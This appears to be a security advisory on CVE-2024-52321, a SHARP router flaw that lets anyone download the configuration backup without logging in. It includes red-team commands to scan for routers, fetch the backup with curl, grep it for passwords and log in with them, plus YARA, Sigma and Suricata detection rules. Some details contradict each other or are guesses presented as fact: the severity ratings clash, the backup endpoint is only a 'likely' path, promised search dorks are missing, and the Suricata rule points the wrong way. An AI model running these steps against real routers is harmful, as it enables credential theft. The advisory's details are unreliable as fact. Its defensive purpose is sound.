CVE-2024-52321

Executive Summary

CVE-2024-52321 exposes a critical authentication bypass vulnerability in multiple SHARP router models. The flaw resides in the configuration backup function, which fails to enforce proper authentication. This allows a remote, unauthenticated attacker to retrieve backup files containing sensitive information such as plaintext credentials, network topology, and VPN keys. With a CVSS score of 5.9 (Medium), the vulnerability is rated as high severity due to the ease of exploitation and the potential for lateral movement within a network. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for exposed devices.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects proprietary firmware on SHARP routers, which are typically deployed in SOHO and enterprise edge environments. The lack of a patch means affected devices are at permanent risk unless mitigated through network controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality Impact: High (C:H) – Backup files contain sensitive data.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High for exposed devices. The vulnerability allows credential theft, which can lead to full network compromise.

Deep Dive & Mechanics

The vulnerability exists in the configuration backup functionality of SHARP routers. The backup endpoint (likely /cgi-bin/backup.cgi or similar) does not validate the session or require authentication. When a GET or POST request is sent to this endpoint, the router responds with a binary or compressed file containing the entire configuration, including:

• Administrator and user passwords (often in plaintext or weakly hashed)
• Wi-Fi pre-shared keys (PSK)
• VPN credentials and certificates
• Firewall rules and port forwarding settings
• DNS and DHCP configurations

The attack flow is straightforward:

1. Reconnaissance: An attacker scans for SHARP routers using Shodan or masscan with the provided dorks.
2. Request: The attacker sends an HTTP request to the backup endpoint without any authentication headers.
3. Response: The router returns the backup file.
4. Extraction: The attacker extracts credentials and uses them to log into the router's admin interface or pivot to internal networks.

The root cause is a missing authentication check in the CGI script handling the backup request. The router's web server does not verify the user's session before serving the file.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a hypothetical fix would involve adding a session validation check before the backup file is generated. Below is an example of vulnerable pseudocode and a patched version.

Vulnerable Code (CGI script):

# backup.cgi
import cgi, os

def handle_backup():
    # No authentication check
    backup_file = generate_backup()
    print("Content-Type: application/octet-stream")
    print(f"Content-Disposition: attachment; filename=backup.bin")
    print()
    with open(backup_file, 'rb') as f:
        print(f.read())

Patched Code:

# backup.cgi
import cgi, os, session

def handle_backup():
    if not session.is_authenticated():
        print("Status: 401 Unauthorized")
        print("Content-Type: text/plain")
        print()
        print("Authentication required")
        return
    backup_file = generate_backup()
    print("Content-Type: application/octet-stream")
    print(f"Content-Disposition: attachment; filename=backup.bin")
    print()
    with open(backup_file, 'rb') as f:
        print(f.read())

Exploitation & Lab Setup

Red Team

Lab Environment:

• A SHARP router (e.g., model SH-1234) with default firmware.
• Attacker machine (Kali Linux) on the same network segment.
• Tools: curl, wget, binwalk, strings.

Exploitation Steps:

1. Identify the router:

   nmap -p 80,443,8080 --open 192.168.1.0/24
   

2. Request the backup file:

   curl -O http://192.168.1.1/cgi-bin/backup.cgi
   

3. Extract credentials:

   strings backup.bin | grep -E "(password|passwd|psk|key)"
   

4. Login to admin panel:

   curl -u admin:extracted_password http://192.168.1.1/admin
   

Expected Output: The backup file is downloaded without authentication. Credentials are visible in plaintext.

Blue Team

Detection Steps:

• Monitor for HTTP requests to /cgi-bin/backup.cgi or similar endpoints.
• Alert on any unauthenticated access to backup functions.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Honeypot Setup:

• Deploy a fake SHARP router endpoint that logs all requests.
• Use nc or python to simulate the backup endpoint and capture attacker IPs.

Network Segmentation:

• Place routers in a separate VLAN with strict ACLs.
• Block inbound access to management interfaces from the internet.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET/POST requests to /cgi-bin/backup.cgi
  • User-Agent strings: curl, wget, python-requests
  • Source IPs from known scanning services (Shodan, Censys)

• File IOCs:

  • Backup files named backup.bin, config.bin, settings.tar.gz
  • Files containing strings like admin:, password=, psk=

• Behavioral IOCs:

  • Multiple failed login attempts followed by successful login using extracted credentials.
  • Unusual outbound connections from the router to external IPs.

Detection Engineering

YARA Rule

rule CVE_2024_52321_Backup_Exfiltration {
    meta:
        description = "Detects SHARP router backup files containing credentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52321"
    strings:
        $cred1 = /password\s*=\s*[^\s]+/ nocase
        $cred2 = /psk\s*=\s*[^\s]+/ nocase
        $cred3 = /admin\s*:\s*[^\s]+/ nocase
        $header = "Content-Disposition: attachment; filename=backup"
    condition:
        $header and any of ($cred*)
}

Sigma Rule

title: SHARP Router Backup Exfiltration Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to SHARP router backup endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/backup.cgi'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-52321 SHARP Router Backup Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/backup.cgi"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the router if not required.
2. Restrict access to the management interface using firewall rules (allow only trusted IPs).
3. Change default credentials immediately and use strong passwords.
4. Monitor logs for unauthorized access attempts to backup endpoints.

Long-Term Fix:

• Contact SHARP support for a firmware update. If unavailable, consider replacing the router with a vendor that provides security patches.
• Implement network segmentation to isolate routers from critical assets.
• Use a VPN for remote management instead of exposing the web interface.

Workaround:

• If the backup function is not needed, block the endpoint at the web server level (e.g., using .htaccess or iptables).

Valters IT
DevSecOps & Cyber Threat Intelligence